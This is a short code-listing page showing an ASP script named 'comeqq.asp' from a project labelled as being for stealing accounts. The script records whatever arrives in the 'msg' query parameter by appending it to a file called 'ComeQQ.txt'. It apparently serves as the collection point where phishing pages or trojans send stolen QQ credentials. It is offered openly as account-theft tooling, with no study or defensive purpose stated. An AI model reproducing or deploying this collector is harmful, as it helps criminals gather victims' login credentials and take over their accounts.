comeqq.asp

来自「盗号用的」· ASP 代码 · 共 10 行

<%  
dim msg
msg=Request.QueryString("msg")  
set fs=server.CreateObject("Scripting.FileSystemObject") 
set file=fs.OpenTextFile(server.MapPath("ComeQQ.txt"),8,True) 
file.writeline msg
file.close 
set file=nothing 
set fs=nothing 
%>